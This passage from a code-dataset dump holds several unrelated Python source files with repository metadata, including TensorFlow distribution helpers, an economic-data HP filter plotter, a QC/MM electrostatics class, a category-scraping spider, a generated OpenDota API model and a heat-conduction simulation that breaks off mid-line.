_replace_per_replica_spec(spec, i):\n \"\"\"If `spec` is a `PerReplicaSpec`, then return its `i`th value_spec.\"\"\"\n if isinstance(spec, values.PerReplicaSpec):\n return spec._value_specs[i] # pylint: disable=protected-access\n else:\n return spec\n\n\ndef _enable_get_next_as_optional(strategy, dataset):\n \"\"\"Returns whether to enable using partial batch handling.\"\"\"\n # TODO(b/133073708): we currently need a flag to control the usage because\n # there is a performance difference between get_next() and\n # get_next_as_optional(). And we only enable get_next_as_optional when the\n # output shapes are not static.\n #\n # TODO(rxsang): We want to always enable the get_next_as_optional behavior\n # when user passed input_fn instead of dataset.\n if not getattr(strategy.extended, \"experimental_enable_get_next_as_optional\",\n False):\n return False\n\n if context.executing_eagerly():\n # If the dataset is infinite, we don't need to enable last partial batch\n # support. Currently the logic only applies to the case that distributed\n # dataset is created in eager mode, as we need to evaluate the dataset\n # cardinality.\n with ops.device(dataset._variant_tensor.device): # pylint: disable=protected-access\n if dataset.cardinality().numpy() == cardinality.INFINITE:\n return False\n\n return not _is_statically_shaped(\n dataset.element_spec) or strategy.extended._in_multi_worker_mode() # pylint: disable=protected-access\n\n\ndef _create_per_replica(value_list, strategy):\n \"\"\"Creates a PerReplica.\n\n For strategies other than OneDeviceStrategy, it creates a PerReplica whose\n type spec is set to the element spec of the dataset. This helps avoid\n retracing for partial batches. Retracing is problematic for multi client when\n different client retraces different time, since retracing changes the\n collective keys in the tf.function, and causes mismatches among clients.\n\n For single client strategies, this simply calls distribute_utils.regroup().\n\n Args:\n value_list: a list of values, one for each replica.\n strategy: the `tf.distribute.Strategy`.\n\n Returns:\n a structure of PerReplica.\n\n \"\"\"\n # TODO(b/166464552): always wrap for all one device strategies as well.\n always_wrap = _always_wrap(strategy)\n per_replicas = distribute_utils.regroup(value_list, always_wrap=always_wrap)\n return per_replicas\n\n\ndef _always_wrap(strategy):\n \"\"\"Returns whether to always wrap the values in a DistributedValues.\"\"\"\n return strategy.extended._in_multi_worker_mode() or len( # pylint: disable=protected-access\n strategy.extended.worker_devices) > 1\n\n\ndef _rebatch_as_dynamic(per_replica_spec):\n \"\"\"Rebatch the spec to have a dynamic batch dimension.\"\"\"\n assert isinstance(per_replica_spec, values.PerReplicaSpec), per_replica_spec\n\n # pylint: disable=protected-access\n def _rebatch(spec):\n # Rebatch if possible.\n try:\n return spec._unbatch()._batch(None)\n except ValueError:\n pass\n return spec\n\n return values.PerReplicaSpec(\n *nest.map_structure(_rebatch, per_replica_spec._value_specs))\n # pylint: enable=protected-access\n","repo_name":"graphcore/tensorflow","sub_path":"tensorflow/python/distribute/input_lib.py","file_name":"input_lib.py","file_ext":"py","file_size_in_byte":107109,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"3"} +{"seq_id":"28894727108","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport statsmodels.api as sm\nimport os\n\nclass GraficoHP:\n def __init__(self, excel_file, title=None):\n self._excel_file = excel_file\n self._title = title or os.path.splitext(os.path.basename(excel_file))[0]\n self._x_label = 'X'\n self._y_label = 'Y'\n self._dataframe = None\n\n def _hp_filter(self):\n cycle, trend = sm.tsa.filters.hpfilter(self._dataframe['col1'])\n self._dataframe['cycle'] = cycle\n self._dataframe['trend'] = trend\n\n def _plot_original_data(self):\n plt.scatter(self._dataframe['col0'],\n self._dataframe['col1'], label='Original')\n\n def _plot_hp_trend(self):\n plt.plot(self._dataframe['col0'], self._dataframe['trend'],\n label='Tendência', color='red', linewidth=2)\n\n def plot(self):\n if self._dataframe is None:\n raise ValueError(\"O dataframe ainda não foi carregado. Chame 'load_data' antes de 'plot'.\")\n\n self._hp_filter()\n\n plt.figure(figsize=(12, 8))\n\n self._plot_original_data()\n self._plot_hp_trend()\n\n plt.title(self._title)\n plt.xlabel(self._x_label)\n plt.ylabel(self._y_label)\n\n plt.xticks(rotation=45, ha='right')\n\n plt.legend()\n plt.grid(True)\n plt.tight_layout()\n plt.show()\n\n def load_data(self):\n \n self._dataframe = pd.read_excel(self._excel_file,\n usecols=[0, 1], names=['col0', 'col1'])\n\nexcel_files = ['Formação bruta de capital fixo.xls',\n 'horas trabalhadas - indústria.xls',\n 'PIB - consumo final - APU -.xls',\n 'PIB - preços de mercado.xls']\n\nexcel_folder_path = os.path.join(os.getcwd(), 'excel')\n\nfor excel_file in excel_files:\n file_path = os.path.join(excel_folder_path, excel_file)\n\n grafico = GraficoHP(file_path,\n title=os.path.splitext(os.path.basename(excel_file))[0])\n grafico.load_data()\n grafico.plot()\n","repo_name":"itallominatti/Hodrick-Prescott-filter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33400310416","text":"\"\"\"The base class for QC/MM electrostatic models.\"\"\"\n\nfrom pCore import logFile , \\\n LogFileActive\nfrom pScientific.Arrays import Array\nfrom pScientific.Geometry3 import Coordinates3\nfrom .NBModelError import NBModelError\nfrom ..EnergyModel import EnergyClosurePriority , \\\n EnergyModel , \\\n EnergyModelState\n\n#===================================================================================================================================\n# . Class.\n#===================================================================================================================================\nclass QCMMElectrostaticModelState ( EnergyModelState ):\n \"\"\"A QC/MM electrostatic model state.\"\"\"\n\n _attributable = dict ( EnergyModelState._attributable )\n _attributable.update ( { \"baMMPartners\" : None ,\n \"bpCharges\" : None } )\n\n def SummaryItems ( self ):\n \"\"\"Summary items.\"\"\"\n items = []\n if self.bpCharges is None: n = 0\n else: n = len ( self.bpCharges )\n return [ ( \"Number of BP Atoms\" , \"{:d}\".format ( n ) ) ]\n\n#===================================================================================================================================\n# . Class.\n#===================================================================================================================================\nclass QCMMElectrostaticModel ( EnergyModel ):\n \"\"\"The base class for QC/MM electrostatic models.\"\"\"\n\n _attributable = dict ( EnergyModel._attributable )\n _classLabel = \"QC/MM Electrostatic Model\"\n _pairwiseInteractionClass = None\n _stateName = \"qcmmState\"\n _stateObject = QCMMElectrostaticModelState\n _summarizable = dict ( EnergyModel._summarizable )\n _attributable.update ( { \"dielectric\" : 1.0 ,\n \"pairwiseInteraction\" : None ,\n \"rdLACharges\" : False } )\n _summarizable.update ( { \"dielectric\" : ( \"Dielectric\", \"{:.3f}\" ) ,\n \"pairwiseInteraction\" : None ,\n \"rdLACharges\" : \"RD Approximation\" } )\n\n def BuildModel ( self, target ):\n \"\"\"Build the model.\"\"\"\n state = super ( QCMMElectrostaticModel, self ).BuildModel ( target )\n if ( target.mmModel is None ) or ( target.qcModel is None ):\n raise NBModelError ( \"Missing QC or MM model in QC/MM model definition.\" )\n baMMPartners = getattr ( target.qcState, \"baMMPartners\", None )\n if ( baMMPartners is not None ) and ( len ( baMMPartners ) > 0 ):\n state.baMMPartners = baMMPartners\n state.bpCharges = self.GetBPCharges ( baMMPartners, target.mmState.charges )\n return state\n\n def _CheckOptions ( self ):\n \"\"\"Check options.\"\"\"\n pwiClass = self.__class__._pairwiseInteractionClass\n if pwiClass is not None:\n if self.pairwiseInteraction is None:\n self.pairwiseInteraction = pwiClass ( )\n elif not isinstance ( self.pairwiseInteraction, pwiClass ):\n raise TypeError ( \"Invalid pairwise interaction attribute.\" ) \n\n def ClearScratch ( self, scratch ):\n \"\"\"Clear scratch.\"\"\"\n scratch.Clear ( )\n\n def EnergyClosures ( self, target ):\n \"\"\"Return energy closures.\"\"\"\n def a ( ): self.EnergyInitialize ( target )\n def b ( ): self.QCMMPotentials ( target )\n def c ( ): self.QCMMGradients ( target )\n def d ( ): self.EnergyFinalize ( target )\n return [ ( EnergyClosurePriority.QCInitialization, a, \"QC/MM Electrostatic Initialization\" ) ,\n ( EnergyClosurePriority.QCIntegrals , b, \"QC/MM Electrostatic Potentials\" ) ,\n ( EnergyClosurePriority.QCGradients , c, \"QC/MM Electrostatic Gradients\" ) ,\n ( EnergyClosurePriority.QCFinalization , d, \"QC/MM Electrostatic Finalization\" ) ]\n\n def EnergyFinalize ( self, target ):\n \"\"\"Energy finalization.\"\"\"\n scratch = target.scratch\n if scratch.doGradients:\n coordinates3 = scratch.Get ( \"coordinates3NB\", target.coordinates3 )\n target.qcModel.ScatterQCGradients3 ( target.qcState, coordinates3, scratch.qcGradients3QCMM, scratch.gradients3 )\n state = getattr ( target, self.__class__._stateName )\n bpCharges = getattr ( state, \"bpCharges\", None )\n if bpCharges is not None:\n self.ScatterBPGradients3 ( state.baMMPartners, scratch.bpGradients3, scratch.gradients3 )\n\n def EnergyInitialize ( self, target ):\n \"\"\"Energy initialization.\"\"\"\n scratch = target.scratch\n coordinates3 = scratch.Get ( \"coordinates3NB\", target.coordinates3 )\n n = len ( target.qcState.atomicNumbers )\n crd3 = scratch.Get ( \"qcCoordinates3QCMM\", None )\n if crd3 is None:\n crd3 = Coordinates3.WithExtent ( n )\n scratch.qcCoordinates3QCMM = crd3\n target.qcModel.GatherQCCoordinates3 ( target.qcState, coordinates3, crd3 )\n if scratch.doGradients:\n grd3 = scratch.Get ( \"qcGradients3QCMM\", None )\n if grd3 is None:\n grd3 = Coordinates3.WithExtent ( n )\n scratch.qcGradients3QCMM = grd3\n grd3.Set ( 0.0 )\n state = getattr ( target, self.__class__._stateName )\n if state.bpCharges is not None:\n n = len ( state.bpCharges )\n crd3 = scratch.Get ( \"bpCoordinates3\", None )\n if crd3 is None:\n crd3 = Coordinates3.WithExtent ( n )\n scratch.bpCoordinates3 = crd3\n self.GatherBPCoordinates3 ( state.baMMPartners, coordinates3, crd3 )\n if scratch.doGradients:\n grd3 = scratch.Get ( \"bpGradients3\", None )\n if grd3 is None:\n grd3 = Coordinates3.WithExtent ( n )\n scratch.bpGradients3 = grd3\n grd3.Set ( 0.0 )\n\n def GatherBPCoordinates3 ( self, baMMPartners, coordinates3, bpCoordinates3 ):\n \"\"\"Gather the BP coordinates without unit conversion.\"\"\"\n n = 0\n for ( b, mm ) in baMMPartners:\n xB = coordinates3[b,0] ; yB = coordinates3[b,1] ; zB = coordinates3[b,2]\n for p in mm:\n xP = coordinates3[p,0] ; yP = coordinates3[p,1] ; zP = coordinates3[p,2]\n bpCoordinates3[n,0] = 0.5 * ( xB + xP )\n bpCoordinates3[n,1] = 0.5 * ( yB + yP )\n bpCoordinates3[n,2] = 0.5 * ( zB + zP )\n n += 1\n if self.rdLACharges:\n for p in mm:\n xP = coordinates3[p,0] ; yP = coordinates3[p,1] ; zP = coordinates3[p,2]\n bpCoordinates3[n,0] = xP ; bpCoordinates3[n,1] = yP ; bpCoordinates3[n,2] = zP\n n += 1\n\n def GetBPCharges ( self, baMMPartners, charges ):\n \"\"\"Return the charges of the BP atoms.\"\"\"\n bpCharges = None\n n = 0\n for ( b, mm ) in baMMPartners: n += len ( mm )\n if self.rdLACharges: n *= 2\n if n > 0:\n bpCharges = Array.WithExtent ( n ) ; bpCharges.Set ( 0.0 )\n n = 0\n for ( b, mm ) in baMMPartners:\n nP = len ( mm )\n dQ = charges[b] / float ( nP )\n if self.rdLACharges:\n for a in range ( nP ):\n bpCharges[n] = 2.0 * dQ ; n += 1\n for a in range ( nP ):\n bpCharges[n] = - dQ ; n += 1\n else:\n for a in range ( nP ):\n bpCharges[n] = dQ ; n += 1\n return bpCharges\n\n def QCMMGradients ( self, target ):\n \"\"\"Calculate the QC/MM electrostatic gradients.\"\"\"\n pass\n\n def QCMMPotentials ( self, target ):\n \"\"\"Calculate the QC/MM electrostatic potentials.\"\"\"\n pass\n\n def ScatterBPGradients3 ( self, baMMPartners, bpGradients3, gradients3 ):\n \"\"\"Scatter the BP gradients.\"\"\"\n n = 0\n for ( b, mm ) in baMMPartners:\n for p in mm:\n gX = bpGradients3[n,0] ; gY = bpGradients3[n,1] ; gZ = bpGradients3[n,2]\n gX *= 0.5e+00 ; gY *= 0.5e+00 ; gZ *= 0.5e+00\n gradients3[b,0] += gX ; gradients3[b,1] += gY ; gradients3[b,2] += gZ\n gradients3[p,0] += gX ; gradients3[p,1] += gY ; gradients3[p,2] += gZ\n n += 1\n if self.rdLACharges:\n for p in mm:\n gX = bpGradients3[n,0] ; gY = bpGradients3[n,1] ; gZ = bpGradients3[n,2]\n gradients3[p,0] += gX ; gradients3[p,1] += gY ; gradients3[p,2] += gZ\n n += 1\n\n#===================================================================================================================================\n# . Testing.\n#===================================================================================================================================\nif __name__ == \"__main__\" :\n pass\n","repo_name":"pdynamo/pDynamo3","sub_path":"pMolecule/NBModel/QCMMElectrostaticModel.py","file_name":"QCMMElectrostaticModel.py","file_ext":"py","file_size_in_byte":9405,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"} +{"seq_id":"17444736653","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom allitebooks.items import CateItem\n\nclass CateSpider(scrapy.Spider):\n\tname = 'cate'\n\tallowed_domains = ['allitebooks.com']\n\tstart_urls = ['http://allitebooks.com/']\n\n\tdef parse(self, response):\n\t\tr = response\n\t\tmenu_items = r.css('#menu-allitebooks-com > li > ul > li')\n\t\tfor menu_item in menu_items:\n\t\t\tmi_id = menu_item.css('::attr(id)').extract()[0].split('-')[-1]\n\t\t\tmi_link = menu_item.css('a::attr(href)').extract()[0].split('/')[-2]\n\t\t\tmi_text = menu_item.css('a::text').extract()[0]\n\t\t\tmi_father = 0\n\t\t\tmi_level = 1\n\t\t\tsubmenus = menu_item.css('ul > li')\n\t\t\t\n\t\t\tcate_item = CateItem()\n\t\t\tcate_item['cate_id'] = mi_id\n\t\t\tcate_item['cate_link'] = mi_link\n\t\t\tcate_item['cate_text'] = mi_text\n\t\t\tcate_item['cate_father'] = mi_father\n\t\t\tcate_item['cate_level'] = mi_level\n\t\t\tyield cate_item\n\n\t\t\tfor submenu in submenus:\n\t\t\t\tsm_id = submenu.css('::attr(id)').extract()[0].split('-')[-1]\n\t\t\t\tsm_link = submenu.css('a::attr(href)').extract()[0].split('/')[-2]\n\t\t\t\tsm_text = submenu.css('a::text').extract()[0]\n\t\t\t\tsm_father = mi_id\n\t\t\t\tsm_level = 2\n\n\t\t\t\tcate_item = CateItem()\n\t\t\t\tcate_item['cate_id'] = sm_id\n\t\t\t\tcate_item['cate_link'] = sm_link\n\t\t\t\tcate_item['cate_text'] = sm_text\n\t\t\t\tcate_item['cate_father'] = sm_father\n\t\t\t\tcate_item['cate_level'] = sm_level\n\t\t\t\tyield cate_item\n\n\n\n\n","repo_name":"thaolt007/allitebooks_crawler","sub_path":"allitebooks/allitebooks/spiders/category.py","file_name":"category.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18371506376","text":"# coding: utf-8\n\n\"\"\"\n OpenDota API\n\n # Introduction The OpenDota API provides Dota 2 related data including advanced match data extracted from match replays. You can find data that can be used to convert hero and ability IDs and other information provided by the API from the [dotaconstants](https://github.com/odota/dotaconstants) repository. **Beginning 2018-04-22, the OpenDota API is limited to 50,000 free calls per month and 60 requests/minute** We offer a Premium Tier with unlimited API calls and higher rate limits. Check out the [API page](https://www.opendota.com/api-keys) to learn more. # noqa: E501\n\n OpenAPI spec version: 18.0.0\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\n\nclass InlineResponse20033(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'match_id': 'int',\n 'start_time': 'int',\n 'hero_id': 'int',\n 'score': 'float'\n }\n\n attribute_map = {\n 'match_id': 'match_id',\n 'start_time': 'start_time',\n 'hero_id': 'hero_id',\n 'score': 'score'\n }\n\n def __init__(self, match_id=None, start_time=None, hero_id=None, score=None): # noqa: E501\n \"\"\"InlineResponse20033 - a model defined in Swagger\"\"\" # noqa: E501\n\n self._match_id = None\n self._start_time = None\n self._hero_id = None\n self._score = None\n self.discriminator = None\n\n if match_id is not None:\n self.match_id = match_id\n if start_time is not None:\n self.start_time = start_time\n if hero_id is not None:\n self.hero_id = hero_id\n if score is not None:\n self.score = score\n\n @property\n def match_id(self):\n \"\"\"Gets the match_id of this InlineResponse20033. # noqa: E501\n\n match_id # noqa: E501\n\n :return: The match_id of this InlineResponse20033. # noqa: E501\n :rtype: int\n \"\"\"\n return self._match_id\n\n @match_id.setter\n def match_id(self, match_id):\n \"\"\"Sets the match_id of this InlineResponse20033.\n\n match_id # noqa: E501\n\n :param match_id: The match_id of this InlineResponse20033. # noqa: E501\n :type: int\n \"\"\"\n\n self._match_id = match_id\n\n @property\n def start_time(self):\n \"\"\"Gets the start_time of this InlineResponse20033. # noqa: E501\n\n start_time # noqa: E501\n\n :return: The start_time of this InlineResponse20033. # noqa: E501\n :rtype: int\n \"\"\"\n return self._start_time\n\n @start_time.setter\n def start_time(self, start_time):\n \"\"\"Sets the start_time of this InlineResponse20033.\n\n start_time # noqa: E501\n\n :param start_time: The start_time of this InlineResponse20033. # noqa: E501\n :type: int\n \"\"\"\n\n self._start_time = start_time\n\n @property\n def hero_id(self):\n \"\"\"Gets the hero_id of this InlineResponse20033. # noqa: E501\n\n The ID value of the hero played # noqa: E501\n\n :return: The hero_id of this InlineResponse20033. # noqa: E501\n :rtype: int\n \"\"\"\n return self._hero_id\n\n @hero_id.setter\n def hero_id(self, hero_id):\n \"\"\"Sets the hero_id of this InlineResponse20033.\n\n The ID value of the hero played # noqa: E501\n\n :param hero_id: The hero_id of this InlineResponse20033. # noqa: E501\n :type: int\n \"\"\"\n\n self._hero_id = hero_id\n\n @property\n def score(self):\n \"\"\"Gets the score of this InlineResponse20033. # noqa: E501\n\n score # noqa: E501\n\n :return: The score of this InlineResponse20033. # noqa: E501\n :rtype: float\n \"\"\"\n return self._score\n\n @score.setter\n def score(self, score):\n \"\"\"Sets the score of this InlineResponse20033.\n\n score # noqa: E501\n\n :param score: The score of this InlineResponse20033. # noqa: E501\n :type: float\n \"\"\"\n\n self._score = score\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(InlineResponse20033, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, InlineResponse20033):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","repo_name":"wood-run/opendota-client","sub_path":"opendota_client/models/inline_response20033.py","file_name":"inline_response20033.py","file_ext":"py","file_size_in_byte":5936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12577711581","text":"# https://www.interviewbit.com/courses/programming/topics/backtracking/problems/combinations/\n# \n\nclass Solution:\n # @param n : integer\n # @param k : integer\n # @return a list of list of integers\n def combine(self, n, k):\n result = []\n self.recurse(k, n, 1, [], result)\n return result\n \n def recurse(self, k, n, level, path, result):\n if level > k:\n result.append(path)\n return\n \n parent = path[-1] if path else 0\n for num in xrange(parent+1, n-k+level +1):\n self.recurse(k, n, level+1, path+[num], result)\n \n","repo_name":"diegomontoyas/Algorithms","sub_path":"InterviewBit/combinations.py","file_name":"combinations.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11804928453","text":"import multiprocessing as mp\nfrom math import pi\nimport numpy as np\nfrom . import backends, dynamics\n\ndef conduction(coords, len_coords, x_plus_indices, x_minus_indices, y_plus_indices, y_minus_indices, z_plus_indices,\n z_minus_indices, temperatures, object_ids, spatial_res, conductivities, delta_time, real_delta_time,\n mesh_indices, num_workers, multiprocess=False):\n\n if not multiprocess:\n\n update_temps = [0 for _ in range(0, len_coords)] # all of the updated temperatures due to conduction\n dT_dt_list = [0 for _ in range(0, len_coords)]\n\n for index, coord in enumerate(coords):\n temp_point = temperatures[index] # temperature of the specified coordinate position\n if 'C' not in object_ids[index]: # makes sure that point z is not a boundary layer\n x_plus_index = x_plus_indices[index] # index of the x+ coordinate position\n x_minus_index = x_minus_indices[index] # index of the x- coordinate position\n y_plus_index = y_plus_indices[index] # index of the y+ coordinate position\n y_minus_index = y_minus_indices[index] # index of the y- coordinate position\n z_plus_index = z_plus_indices[index] # index of the z+ coordinate position\n z_minus_index = z_minus_indices[index] # index of the z- coordinate position\n temp_x_plus = temperatures[x_plus_index] # temperature of the x+ coordinate position\n temp_x_minus = temperatures[x_minus_index] # temperature of the x- coordinate position\n temp_y_plus = temperatures[y_plus_index] # temperature of the y+ coordinate position\n temp_y_minus = temperatures[y_minus_index] # temperature of the y- coordinate position\n temp_z_plus = temperatures[z_plus_index] # temperature of the z+ coordinate position\n temp_z_minus = temperatures[z_minus_index] # temperature of the z- coordinate position\n k = conductivities[index] # conductivities of the material at position of coordinate z\n\n # central difference laplacian is ((f_(x-1) - (2*f_(x)) + f_(x+1)) / (delta_x)^2)\n # central difference laplacian is as follows for each vector component\n x_temp_laplacian = ((temp_x_plus - (2 * temp_point) + temp_x_minus) / ((spatial_res) ** 2))\n y_temp_laplacian = ((temp_y_plus - (2 * temp_point) + temp_y_minus) / ((spatial_res) ** 2))\n z_temp_laplacian = ((temp_z_plus - (2 * temp_point) + temp_z_minus) / ((spatial_res) ** 2))\n temp_laplacian = x_temp_laplacian + y_temp_laplacian + z_temp_laplacian\n\n # change in temperature with respect to time, dT/dt = -k * laplacian(T)\n dT_dt = k * temp_laplacian # the central finite difference heat equation\n dT_dt_list[index] = dT_dt\n\n dT = dT_dt * (delta_time / real_delta_time) # the change in temperature with respect to the finite normalized timestep\n new_T = temp_point + dT # adds dT to the original temperature\n update_temps[index] = new_T # adds the new temperature to the updated temperature list\n else: # if it is a boundary layer, it is a fixed temperature\n update_temps[index] = temp_point\n dT_dt_list[index] = 0.0\n\n return update_temps, dT_dt_list\n\n else:\n update_temps, dT_dt_list = multiprocess_conduction_manager(coords=coords, len_coords=len_coords,\n x_plus_indices=x_plus_indices,\n x_minus_indices=x_minus_indices,\n y_plus_indices=y_plus_indices,\n y_minus_indices=y_minus_indices,\n z_plus_indices=z_plus_indices,\n z_minus_indices=z_minus_indices,\n temperatures=temperatures,\n conductivities=conductivities,\n spatial_res=spatial_res, delta_time=delta_time,\n object_ids=object_ids, mesh_indices=mesh_indices,\n num_workers=num_workers,\n multiprocess=multiprocess)\n return update_temps, dT_dt_list\n\ndef multiprocess_conduction(coords, len_coords, x_plus_indices, x_minus_indices, y_plus_indices, y_minus_indices, z_plus_indices,\n z_minus_indices, temperatures, object_ids, spatial_res, conductivities, delta_time, mesh_indices,\n num_workers, update_temps, dT_dt_list, multiprocess=True):\n\n for index, coord in enumerate(coords):\n temp_point = temperatures[index] # temperature of the specified coordinate position\n if 'C' not in object_ids[index]: # makes sure that point z is not a boundary layer\n x_plus_index = x_plus_indices[index] # index of the x+ coordinate position\n x_minus_index = x_minus_indices[index] # index of the x- coordinate position\n y_plus_index = y_plus_indices[index] # index of the y+ coordinate position\n y_minus_index = y_minus_indices[index] # index of the y- coordinate position\n z_plus_index = z_plus_indices[index] # index of the z+ coordinate position\n z_minus_index = z_minus_indices[index] # index of the z- coordinate position\n temp_x_plus = temperatures[x_plus_index] # temperature of the x+ coordinate position\n temp_x_minus = temperatures[x_minus_index] # temperature of the x- coordinate position\n temp_y_plus = temperatures[y_plus_index] # temperature of the y+ coordinate position\n temp_y_minus = temperatures[y_minus_index] # temperature of the y- coordinate position\n temp_z_plus = temperatures[z_plus_index] # temperature of the z+ coordinate position\n temp_z_minus = temperatures[z_minus_index] # temperature of the z- coordinate position\n k = conductivities[index] # conductivities of the material at position of coordinate z\n\n # central difference laplacian is ((f_(x-1) - (2*f_(x)) + f_(x+1)) / (delta_x)^2)\n # central difference laplacian is as follows for each vector component\n x_temp_laplacian = ((temp_x_plus - (2 * temp_point) + temp_x_minus) / ((spatial_res) ** 2))\n y_temp_laplacian = ((temp_y_plus - (2 * temp_point) + temp_y_minus) / ((spatial_res) ** 2))\n z_temp_laplacian = ((temp_z_plus - (2 * temp_point) + temp_z_minus) / ((spatial_res) ** 2))\n temp_laplacian = x_temp_laplacian + y_temp_laplacian + z_temp_laplacian\n\n # change in temperature with respect to time, dT/dt = -k * laplacian(T)\n dT_dt = (k) * temp_laplacian # the central finite difference heat equation\n dT_dt_list[index] = dT_dt\n\n dT = dT_dt * delta_time # the change in temperature with respect to the finite timestep\n new_T = temp_point + dT # adds dT to the original temperature\n update_temps[index] = new_T # adds the new temperature to the updated temperature list\n else: # if it is a boundary layer, it is a fixed temperature\n update_temps[index] = temp_point\n dT_dt_list[index] = 0.0\n\n return update_temps, dT_dt_list\n\n\ndef multiprocess_conduction_manager(coords, len_coords, x_plus_indices, x_minus_indices, y_plus_indices, y_minus_indices, z_plus_indices,\n z_minus_indices, temperatures, object_ids, spatial_res, conductivities, delta_time, mesh_indices,\n num_workers, multiprocess=True):\n\n\n update_temps = mp.Array('d', len_coords) # all of the updated temperatures due to conduction\n dT_dt_list = mp.Array('d', len_coords)\n\n jobs = []\n\n index_chunks = backends.chunk_array(array=mesh_indices, num_chunks=num_workers, len_array=len_coords)\n for process_id, process in enumerate(index_chunks):\n start_index, stop_index = process[0], process[-1]\n chunk_coords = coords[start_index:stop_index]\n chunk_x_plus_indices = x_plus_indices[start_index:stop_index]\n chunk_x_minus_indices = x_minus_indices[start_index:stop_index]\n chunk_y_plus_indices = y_plus_indices[start_index:stop_index]\n chunk_y_minus_indices = y_minus_indices[start_index:stop_index]\n chunk_z_plus_indices = z_plus_indices[start_index:stop_index]\n chunk_z_minus_indices = z_minus_indices[start_index:stop_index]\n chunk_object_ids = object_ids[start_index:stop_index]\n p = mp.Process(name=str(process_id), target=multiprocess_conduction, args=(chunk_coords, len_coords,\n chunk_x_plus_indices,\n chunk_x_minus_indices,\n chunk_y_plus_indices,\n chunk_y_minus_indices,\n chunk_z_plus_indices,\n chunk_z_minus_indices,\n temperatures,\n chunk_object_ids, spatial_res,\n conductivities,\n delta_time, mesh_indices,\n num_workers, update_temps,\n dT_dt_list, multiprocess))\n jobs.append(p)\n # p.start()\n for job in jobs:\n job.start()\n job.join()\n\n return update_temps, dT_dt_list\n\ndef object_conduction(object_temperatures, object_index, object_k, matrix_k, mesh_temperatures, nearest_index, farthest_index,\n spatial_res, delta_time, directional_vertices, vertex_distances, total_distance, matrix_ids,\n coords, matrix_diffusivities, spatial_sigfigs, verbose):\n\n box_spatial_res = (spatial_res / 2)\n box_delta_time = backends.override_timestep(spatial_res=box_spatial_res, conductivities=None,\n diffusivities=np.array([matrix_diffusivities[nearest_index]]),\n spatial_sigfigs=spatial_sigfigs, timestep=False, verbose=verbose)\n object_temp = object_temperatures[object_index]\n x_plus_temps = [mesh_temperatures[i] for i in directional_vertices[\"x+\"]]\n x_minus_temps = [mesh_temperatures[i] for i in directional_vertices[\"x-\"]]\n y_plus_temps = [mesh_temperatures[i] for i in directional_vertices[\"y+\"]]\n y_minus_temps = [mesh_temperatures[i] for i in directional_vertices[\"y-\"]]\n z_plus_temps = [mesh_temperatures[i] for i in directional_vertices[\"z+\"]]\n z_minus_temps = [mesh_temperatures[i] for i in directional_vertices[\"z-\"]]\n d2T_dx2 = ((sum(x_plus_temps) / len(x_plus_temps)) - (2 * object_temp) + (sum(x_minus_temps) / len(x_minus_temps))) / (\n (box_spatial_res ** 2))\n d2T_dy2 = ((sum(y_plus_temps) / len(y_plus_temps)) - (2 * object_temp) + (sum(y_minus_temps) / len(y_minus_temps))) / (\n (box_spatial_res ** 2))\n d2T_dz2 = ((sum(z_plus_temps) / len(z_plus_temps)) - (2 * object_temp) + (sum(z_minus_temps) / len(z_minus_temps))) / (\n (box_spatial_res ** 2))\n t_laplacian = (d2T_dx2 + d2T_dy2 + d2T_dz2) # laplacian is sum of the 2nd derivatives\n dT_dt = matrix_k * t_laplacian\n dT = dT_dt * (delta_time / box_delta_time) # must normalize delta time to the box delta time\n for vertex_index in vertex_distances:\n if 'C' not in matrix_ids[vertex_index]:\n vertex_distance = vertex_distances[vertex_index]\n distance_ratio = vertex_distance / total_distance\n mesh_temperatures[vertex_index] -= (dT * distance_ratio)\n object_temperatures[object_index] += dT\n\n return dT, dT_dt\n\n\ndef viscous_dissipation(drag_coeff, matrix_density, object_radius, object_density, object_velocity, delta_time, cp,\n distance_travelled):\n \"\"\"\n The heat in Kelvin produced by viscous dissipation.\n :param drag_coeff:\n :param matrix_density:\n :param object_radius:\n :param object_velocity:\n :param object_mass:\n :param delta_time:\n :param cp:\n :return:\n \"\"\"\n object_volume = (4/3) * pi * (object_radius**3)\n object_mass = object_density * object_volume\n grav_accel = 9.81\n # the drag force on the object, which will be converted to heat via viscous dissipation\n fd = dynamics.drag_force(drag_coeff=drag_coeff, matrix_density=matrix_density, object_radius=object_radius,\n distance_travelled=distance_travelled, delta_time=delta_time)\n fb 